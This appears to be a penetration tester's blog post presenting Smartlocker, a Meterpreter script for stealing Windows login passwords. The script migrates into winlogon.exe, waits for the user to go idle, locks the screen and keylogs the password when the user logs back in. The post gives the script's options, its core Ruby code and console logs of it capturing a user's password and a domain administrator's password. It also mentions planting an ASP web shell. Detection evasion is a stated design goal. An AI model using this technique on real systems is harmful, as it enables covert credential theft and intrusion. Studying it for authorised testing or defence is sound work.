Capturing Windows Logons with Smartlocker

Oftentimes during a penetration test engagement, a bit of finesse goes a long way. One of the most effective ways to capture the clear-text user password from a compromised Windows machine is through the "keylogrecorder" Meterpreter script. This script can migrate into the winlogon.exe process, start capturing keystrokes, and then lock the user's desktop (the -k option). When the user enters their password to unlock their desktop, you now have their password. This, while funny and effective, can raise undue suspicion, especially when conducted across multiple systems at the same time. A smarter approach is to wait for a predetermined amount of idle time before locking the screen.

Enter Smartlocker. Smartlocker is a Meterpreter script written by CG and mubix that is similar to keylogrecorder (some code was even copied directly from it, thank you Carlos). But, unlike keylogrecorder, Smartlocker is designed to use a lighter touch when it comes to obtaining the user's password. Unlike keylogrecorder, Smartlocker is solely focused on obtaining passwords from winlogon.exe. Since winlogon only sees the keystrokes that happen when a login occurs, the resulting log file only contains the username and password. Perfect, right?

Smartlocker addressed three shortcomings with using keylogrecorder to capture login credentials.

1. If there are two winlogon processes on the machine, keylogrecorder will migrate into one, and then the other, many times rendering your meterpreter session dead or otherwise unusable. While this is a corner case, I have come across it during penetration tests, and its something that will be addressed in an upcoming fix to keylogrecorder. The other problem when there are two winlogon processes is that you can’t be sure which process you need to be in to be capture the active user's password.

2. The user is locked out instantly if the "-k" option is selected. While 80% of the target users may barely flinch at this, it will certainly stand out as odd behavior. This behavior will be even more suspicious if the user just opened an attachment or browsed to something they shouldn't have. That extra bit of "weirdness" may push them to make that help desk call...not good.

3. You have to jump through hoops to identify when the user has logged back in. One way to do this is through screen captures, but this is a manual and time intensive process. Idle time is also an imperfect marker as a user might have pushed the mouse by accident.

Smartlocker does it’s best to solve these issues.

Fade to cube farm...

John Doe is a graphic designer for ACME Co. He just clicked your link and was kind enough to give you a reverse Meterpreter session. You’ve looked around John’s system and found nothing of interest except for learning that John is a SharePoint admin on the local MS SharePoint server. SMB isn’t working, so you decide to go after SharePoint itself and you need John’s actual password for this task. But John is smart (or thought he was before he still clicked your link), his password is 25 characters, making it difficult to crack from dumping the MS Cache hash value.

Smartlocker’s options:

Usage:
OPTIONS:

-b Heartbeat time between idle checks. Default is 30 seconds.
-h Help menu.
-i Idletime to wait before locking the screen automatically. Default 300 seconds (5 minutes).
-p Target PID - used when multiple Winlogon sessions are present.
-t Time interval in seconds between recollection of keystrokes, default 30 seconds.

A quick check to see if John’s computer is set to lock out automatically:

meterpreter > getuid
Server username: ACME\johnd
meterpreter > reg queryval -k "HKCU\\Control Panel\\Desktop" -v ScreenSaverIsSecure
Key: HKCU\Control Panel\Desktop
Name: ScreenSaverIsSecure
Type: REG_SZ
Data: 0

And it isn’t, so we’ll be going with Smartlocker’s default setting, which is a time based approach. The script checks to see if the target user account is an administrator and if so, finds all the winlogon processes running on John’s box. Since there is only one, Smartlocker automatically migrates to it and starts listening for keystrokes.

The following code polls the idle time of John’s box every $heartbeat seconds until the actual idle time reaches the $idletime threshold and then force-locks John’s box:

currentidle = session.ui.idle_time
print_status("System has currently been idle for #{currentidle} seconds")
while currentidle <= idletime do print_status("Current Idletime: #{currentidle} seconds")
sleep(heartbeat) currentidle = session.ui.idle_time end client.railgun.user32.LockWorkStation()

This is where it basically just runs Carlos’ code and starts the keylogger, pulling the keystrokes out of memory every $heartbeat seconds. But, the cool part is, before it wraps back around to keep keylogging, it does a check to see if the user has logged back in. GetForegroundWindow is a Windows API call utilized through railgun which is process specific, and in winlogon’s case, it is only ever non-zero when the computer is locked or logged out. So a pretty simple IF statement stops the key logger automagically when it’s achieved its goal.

still_locked = client.railgun.user32.GetForegroundWindow()['return'] if still_locked == 0
print_status("They logged back in! Money time!") raise 'win' end sleep(keytime.to_i) end
rescue::Exception => e
if e.message != 'win'
print("\n")
print_status("#{e.class} #{e}")
end
print_status("Stopping keystroke sniffer...")
session.ui.keyscan_stop

Here is the script in action on John’s box, you can even see where the idle time went back down to 12 when John moved his mouse:

meterpreter > run smartlocker
[*] Found WINLOGON at PID:644
[*] Migrating from PID:2532
[*] Migrated to WINLOGON PID: 644 successfully
[*] System has currently been idle for 12 seconds
[*] Current Idletime: 12 seconds
[*] Current Idletime: 42 seconds
[*] Current Idletime: 73 seconds
[*] Current Idletime: 12 seconds
[*] Current Idletime: 42 seconds
[*] Current Idletime: 72 seconds
[*] Current Idletime: 103 seconds
[*] Current Idletime: 133 seconds
[*] Current Idletime: 164 seconds
[*] Current Idletime: 194 seconds
[*] Current Idletime: 224 seconds
[*] Current Idletime: 255 seconds
[*] Current Idletime: 285 seconds
[*] Starting the keystroke sniffer...
[*] Keystrokes being saved in to /home/user/.msf3/logs/scripts/smartlocker/10.0.0.155_20101101.2157.txt
[*] Recording
[*] They logged back in! Money time!
[*] Stopping keystroke sniffer...
meterpreter > background
msf > cat /home/user/.msf3/logs/scripts/smartlocker/10.0.0.155_20101101.2157.txt
[*] exec: cat /home/user/.msf3/logs/scripts/smartlocker/10.0.0.155_20101101.2157.txt
design4life$uper12#07#76!

Now, with John’s password we login to the SharePoint server, drop an ASP web shell, hook the local MS SQL database using the clear-text passwords found on the box and get a Meterpreter binary going on the SharePoint server [1].

[1] http://www.room362.com/blog/2010/5/7/0exploit-privilege-escalation.html

Now we run Smartlocker again and this time it identifies multiple instances of winlogon running, most likely because someone is using Remote Desktop to access this system. One thing to note, for the session ID for each winlogon instance, 0 is always the base console and any other number is some sort of remote login. Session ID is not something you’ll get from Meterpreter’s "ps" command so take note of which PID you are going to target.

Quick note: Any windows system that is configured to only allow one active ‘session’ such as XP, Vista and Windows 7 actually records the login keystrokes on Session 0 even though it creates a new winlogon instance, where as systems with terminal services, like 2k,2k3,2k8, the keystrokes are processed by each winlogon process respectively to their session.

meterpreter > run smartlocker
[-] Multiple WINLOGON processes found, run manually and specify pid
[-] Be wise. XP / VISTA / 7 use session 0 - 2k3/2k8 use RDP session
[*] Winlogon.exe - PID: 892 - Session: 0
[*] Winlogon.exe - PID: 415 - Session: 3

Using the "-p" option with "415" as the PID of the winlogon instance we are targeting (since it’s a Windows 2008 server), we run Smartlocker again, and use the ‘-w’ option to simply wait for the user / admin to lock out their session instead of locking it for them.

meterpreter > run smartlocker -p 415 -w
[*] WINLOGON PID:415 specified. I'm trusting you..
[*] Migrating from PID:1788
[*] Migrated to WINLOGON PID: 415 successfully
[*] Waiting for user to lock their session out
[*] Session has been locked out
[*] Starting the keystroke sniffer...
[*] Keystrokes being saved in to /home/user/.msf3/logs/scripts/smartlocker/10.0.0.150_20101101.5433.txt
[*] Recording
[*] They logged back in! Money time!
[*] Stopping keystroke sniffer...
meterpreter > background
msf > cat /home/user/.msf3/logs/scripts/smartlocker/10.0.0.150_20101101.5433.txt
[*] exec: cat /home/user/.msf3/logs/scripts/smartlocker/10.0.0.150_20101101.5433.txt
M@sterD0mainAdm!n221
msf >

Bingo! Domain Admin. Not just that, but their clear-text password.